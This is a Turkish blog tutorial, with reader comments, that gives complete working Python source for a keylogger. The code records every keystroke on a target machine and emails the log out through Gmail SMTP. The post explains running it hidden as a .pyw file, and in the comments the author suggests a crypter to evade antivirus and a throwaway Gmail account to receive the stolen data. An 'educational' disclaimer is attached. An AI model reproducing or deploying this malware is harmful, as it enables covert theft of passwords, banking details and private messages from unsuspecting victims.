Keylogger Nedir:
Casus yazılım ve izleme yazılımı olarak kullanılan Keylogger, klavyede yaptığınız her tıklamayı kayıt edip başka bir sisteme ileten bir çeşit zararlı yazılımdır. Keylogger yüzünden, oyun hesaplarınız, sosyal medya hesaplarınız, mesajlaşmalarınız, kredi kartlarınız, banka hesaplarınız ve daha niceleri istenmeyen bir şekilde başkalarına gönderilir ve hacklenirsiniz.
Bu tür yazılımlar, temelinde klavyenizdeki tuşları gizli bir şekilde izlemek yatar. Zararlı yazılım, klavyede yaptığınız her tıklamayı kayıt edip gönderdiği sistemin arkasındaki kişi ya da kişiler tarafından klavyede neler yazdığınızı görmesi amacıyla oluşturulur.
Bu yazımızda sizlere Python yazılım dilini kullanarak etkili bir keylogger yapacağız. Eğitim amacıyla oluşturuyoruz. Farklı amaçlarla kullanımından www.siberguvenlikblogu.com olarak biz herhangi bir sorumluluk almamaktayız. Aynı zamanda, diğer Python serimizdeki yazılarımızdan farklı olarak direkt kaynak kodalarını vermek yerine; öncelikle, daha iyi anlayabilmeniz için kod parçalarını açıklayarak vereceğiz. Sonrasında kaynak kodlarının hepsini kullanmanızın kolay olması amacıyla vereceğiz.
Yapılışa Geçelim
Öncelikle ihtiyacımız olan kütüphaneler olan , "pynput" ve "smtplib" kütüphanelerini import ederek başlıyoruz. "pynput" Kütüphanesi ile tuş vuruşlarını kayıt edeceğiz, "smtplib" kütüphanesi ile kayıt edilen tuş vuruşlarını mail aracılığıyla kendimize ileteceğiz.
import pynput
import smtplib
from pynput.keyboard import Key,Listener
Bu fonksiyon ile hedef sistemdeki her tuş vuruşularını kayıt edeceğiz.
count = 0
keys = []
def on_press(key):
global count,keys
count += 1
print("{0} basıldı".format(key))
keys.append(key)
if count >= 10:
count = 0
write_file(keys)
keys = []
Bu fonsiyon ile de "log.txt" isimli dosya oluşturup kayıt edilen tuş vuruşlarını, o dosyaya yazdıracağız.
def write_file(keys):
with open("log.txt" , "a" , encoding="utf-8") as file:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
file.write("\n")
elif k.find("Key") == -1:
file.write(k)
Son fonksiyonumuz ile de kayıt edilen tuş vuruşlarını, hedef sistemin her "esc" tuşuna bastığında belirlediğimiz mail adresine mail olarak göndermesini sağlayacağız. Bize log kayıtlarını gönderecek mail adresinin mutlaka "gmail" olması lazım. Aynı zamanda dikkat edilmesi gereken bir husus ta şu ki:
İki adımlı doğrulaması olmayan hesaplar için devre dışı bırakılan, Gmail tarafından opsiyonel olarak sunulan "Daha Az Güvenli Uygulama Erişimi" bölümünü bu linkten Açık hale getirmeniz gerekmekte. Burayı atlarsanız mail göndermeyecektir
def on_release(key):
if key == Key.esc:
from email.mime.text import MIMEText
with open('log.txt') as fp:
msg = MIMEText(fp.read())
msg['Subject'] = 'Log Kayıtları -> {}'.format("log.txt")
msg['From'] = "gonderilecek_mail_adresi"
msg['To'] = "gonderilecek_mail_adresi"
s = smtplib.SMTP("smtp.gmail.com",587)
s.ehlo()
s.starttls()
s.login("gönderecek_mail_adresi(@işareti ve sonrası olmayacak)",mailin_şifresi)
s.send_message(msg)
s.quit()
Parça parça açıklayarak anlattığımız Keyloggerimizin tüm kaynak kodları ise bu şekilde;
import pynput
import smtplib
from pynput.keyboard import Key,Listener
count = 0
keys = []
def on_press(key):
global count,keys
count += 1
print("{0} basıldı".format(key))
keys.append(key)
if count >= 10:
count = 0
write_file(keys)
keys = []
def write_file(keys):
with open("log.txt" , "a" , encoding="utf-8") as file:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
file.write("\n")
elif k.find("Key") == -1:
file.write(k)
def on_release(key):
if key == Key.esc:
from email.mime.text import MIMEText
with open('log.txt') as fp:
msg = MIMEText(fp.read())
msg['Subject'] = 'Log Kayıtları -> {}'.format("log.txt")
msg['From'] = "gonderilecek_mail_adresi"
msg['To'] = "gonderilecek_mail_adresi"
s = smtplib.SMTP("smtp.gmail.com",587)
s.ehlo()
s.starttls()
s.login("gonderecek_mail_adresi(@isareti ve sonrası olmayacak)","mailin_sifresi")
s.send_message(msg)
s.quit()
with Listener(on_press = on_press, on_release = on_release) as listener:
listener.join()
Bunu .pyw dosyası halinde yani Python No Console, çalışırken konsol açılmayacak şekilde kayıt edeceksiniz. Arka planda siz bilgisayarı kapatana kadar ya da görev yöneticisinden kapayana kadar çalışmaya devam edecek. Başlangıca sabitlemek ve kapanmaması için de yollar var ancak çok tehlikeli sonuçlar doğuracağından onu paylaşmıyoruz.
Bak Bu Geliştirilerek Güzel bir Şey Yapılabilir Belki
YanıtlaSilTabiki de geliştirilip daha etkili ve tehlikeli bir keylogger oluşturulabilir ancak yanlış ellerde kötü sonuçlar doğuracağından bu kadarını paylaşmakla yetindik :)
SilBen de buna benzer bir şey yaptım. Neredeyse aynı kod. Tek farkı mail ile değil socket ile aktarmasıydı. Programı çalıştırdığım anda Windows antivirüs programı bunu algıladı ve dosyayı sildi :( Artık tüm yaptıklarımı kaybettim...
YanıtlaSilBurdaki kodları kullanarak tekrardan yapabilirsin ya da Eminim github üzerinden küçük bir araştırma ile socket ile aktırmalı olan versiyonu bulabilirsin
SilPeki antivirüs tarafından algılanmasını nasıl engelleyeceğim?
SilCrypter kullanabilirsin.
YanıtlaSiluygulama pycharmmı?
YanıtlaSilhayır pythonun kendi apisinde de calistirabilirsin hedef sistemde pycharm uzerinden acman gerekir aksi takdirde
SilMerhaba 6.09.2022 tariginde denediğim kadarıyla gmail veya hotmail üzerinden mail alınamıyor. düşük güvenlikli uygulama izni verilemiyor yasaklanmış. bunu nasıl çözeceğiz?
YanıtlaSilHocam gmail üzerinden düşük güvenlikli uygulamalara izin vermeniz gerek myaccount.google.com/lesssecureapps bu for üzerinden açabilirisiniz ancak hesabınızda 2 adımlı doğrulama varsa kullanılamaz tavsiyemiz, bu iş için yeni bir mail açmanız yönünde
Silmerhaba gmaile mesaj gitmiyor nasıl çözecem.
YanıtlaSilHocam gmail üzerinden düşük güvenlikli uygulamalara izin vermeniz gerek myaccount.google.com/lesssecureapps bu form üzerinden açabilirisiniz ancak hesabınızda 2 adımlı doğrulama varsa kullanılamaz tavsiyemiz, bu iş için yeni bir mail açmanız yönünde
Silkanka sana nerden ulasblirm
YanıtlaSilinstagram emyounoone veya mail iletisim@siberguvenlikblogu.com
Sil